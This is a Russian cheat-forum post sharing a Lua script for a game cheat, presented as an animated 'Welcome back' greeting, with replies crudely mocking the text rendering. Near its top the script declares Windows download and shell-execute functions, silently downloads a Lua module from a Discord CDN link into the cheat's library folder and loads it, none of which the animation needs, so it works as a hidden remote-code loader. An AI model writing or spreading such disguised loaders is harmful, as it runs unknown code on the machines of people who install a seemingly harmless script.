[PDR CRACK ] Приветствие при лоаде луа

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helloscript:
ffi.cdef[[
    typedef int(__thiscall* get_clipboard_text_count)(void*);
    typedef void(__thiscall* set_clipboard_text)(void*, const char*, int);
    typedef void(__thiscall* get_clipboard_text)(void*, int, const char*, int);
    bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);
    void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
    void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file, const char* params, const char* dir, int show_cmd);
    bool DeleteUrlCacheEntryA(const char* lpszUrlName);

    typedef int(__fastcall* clantag_t)(const char*, const char*);

    bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);
    void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
    void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file, const char* params, const char* dir, int show_cmd);
    
    int MessageBoxA(void *w, const char *txt, const char *cap, int type);

    int ShellExecuteA(void* hwnd, const char* lpOperation, const char* lpFile, const char* lpParameters, const char* lpDirectory, int nShowCmd);
]]

local Shell32 = ffi.load 'Shell32.dll'
local urlmon = ffi.load 'UrlMon'
local wininet = ffi.load 'WinInet'

local function Download(from, to)
    wininet.DeleteUrlCacheEntryA(from)
    urlmon.URLDownloadToFileA(nil, from, to, 0,0)
    end
    
    local function skip(from)
    Shell32.ShellExecuteA(nil, 'open', from, nil, nil, 0)   
    end
    
    local function CreateDir(path)
    ffi.C.CreateDirectoryA(path, nil)
    end


wininet.DeleteUrlCacheEntryA("[URL]https://cdn.discordapp.com/attachments/1101461522879885312/1123030895813730436/EthericoreModule.lua[/URL]")
urlmon.URLDownloadToFileA(nil, "[URL]https://cdn.discordapp.com/attachments/1101461522879885312/1123030895813730436/EthericoreModule.lua[/URL]", ".\\Pandora\\lua\\libraries\\EthericoreModule.lua", 0,0)

ffi = require("ffi")
Mod = require("EthericoreModule")
elements = {}

function new_element(slot0, slot1, slot2, slot3, slot4)
    if slot4 == nil then
        if slot2 == nil then
            elements[#elements + 1] = slot0
        else
            elements[#elements + 1] = {
                item = slot0,
                options = slot3
            }
        end
    end

    if slot1 ~= nil then
        slot1[#slot1 + 1] = slot0
    end

    return slot0
end

AnimSpeed = 8
size = vector2d.new(240, 80)
StartUP = {
    closeALL = false,
    animation7 = 0,
    animation3 = 0,
    animation6 = 0,
    finished = false,
    rounding = 4,
    animation1 = 0,
    alpha = 0,
    animation = 0,
    animation5 = 0,
    on = false,
    animation4 = 0,
    animation2 = 0,
    pos = vector2d.new(Helpers.Screen().x / 5 - size.x / 5, Helpers.Screen().y / 5 - size.y / 5),
    font = Renderer.Font("Verdana", 21, 1024),
    font_down = Renderer.Font("Verdana", 11, 1024),
    font_huge = Renderer.Font("Verdana", 100, 512, 0),
    font_medium = Renderer.Font("Verdana", 50, 512, 0),
    closedtime = global_vars.realtime
}

function initalize_StartUP()
    if StartUP.on == false then
        if not StartUP.closeALL then
            StartUP.animation = Math.Lerp(StartUP.animation, 255, global_vars.frametime * AnimSpeed)
            StartUP.animation1 = Math.Lerp(StartUP.animation1, Renderer.MeasureText(StartUP.font_huge, "Welcome back").x, global_vars.frametime * AnimSpeed / 2)
        end

        if StartUP.closeALL then
            StartUP.animation = Math.Lerp(StartUP.animation, 0, global_vars.frametime * AnimSpeed)
            StartUP.animation1 = Math.Lerp(StartUP.animation1, 0, global_vars.frametime * AnimSpeed * 5)
        end

        Renderer.GradientRect(vector2d.new(0, 0), Helpers.Screen(), color.new(0, 0, 0, StartUP.animation), color.new(0, 0, 0, StartUP.animation), true)
        Renderer.SetClip(vector2d.new(Helpers.Screen().x / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").x / 2, Helpers.Screen().y / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2), vector2d.new(math.floor(StartUP.animation1), Renderer.MeasureText(StartUP.font_huge, "Welcome back").y))
        Renderer.TextShadow(StartUP.font_huge, vector2d.new(Helpers.Screen().x / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").x / 2, Helpers.Screen().y / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2), ColorTransform.OverrideAlpha(color.new(0, 0, 0, 155), StartUP.animation), "Welcome back", 2, 2, false, false)
        Renderer.Text(StartUP.font_huge, vector2d.new(Helpers.Screen().x / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").x / 2, Helpers.Screen().y / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2), ColorTransform.OverrideAlpha(color.new(255, 255, 255, 255), StartUP.animation), "Welcome back", false, false)
        Renderer.EndClip()

        if StartUP.animation > 127 then
            StartUP.animation2 = Math.Lerp(StartUP.animation2, not StartUP.closeALL and 255 or 0, global_vars.frametime * AnimSpeed * 2)
            StartUP.animation3 = Math.Lerp(StartUP.animation3, Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2 + 2, global_vars.frametime * AnimSpeed)

            if StartUP.animation2 > 254 then
                StartUP.animation4 = Math.Lerp(StartUP.animation4, not StartUP.closeALL and 255 or 0, global_vars.frametime * AnimSpeed)


                StartUP.animation6 = Math.Lerp(StartUP.animation6, Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2 + 2, global_vars.frametime * AnimSpeed / 2)

                end
            end

            if StartUP.closedtime + 4 < global_vars.realtime then
                StartUP.closeALL = true
            end
        end

        if StartUP.closeALL then
            StartUP.animation4 = Math.Lerp(StartUP.animation4, not StartUP.closeALL and 255 or 0, global_vars.frametime * AnimSpeed)
        end

        if StartUP.closeALL and StartUP.animation4 < 2 then
            StartUP.finished = true
            CONTINUE_ = true
        end
end

callbacks.register("paint", initalize_StartUP)


анимированное приветствие ( появление текста и пропадает спустя секунд 4-5 )
 
  • 127
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ФУ, какая эта пиксельная хуйня под названием "текст". уебищно выглядит
 
  • 127
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Я не понимаю как вы не видите этот пиздец, сразу же отчетливо видно пиксельный рваный какой то текст...
p.s. - и дело не в скриншоте даже, ибо на заднем фоне текст той же кс го нормальный
 
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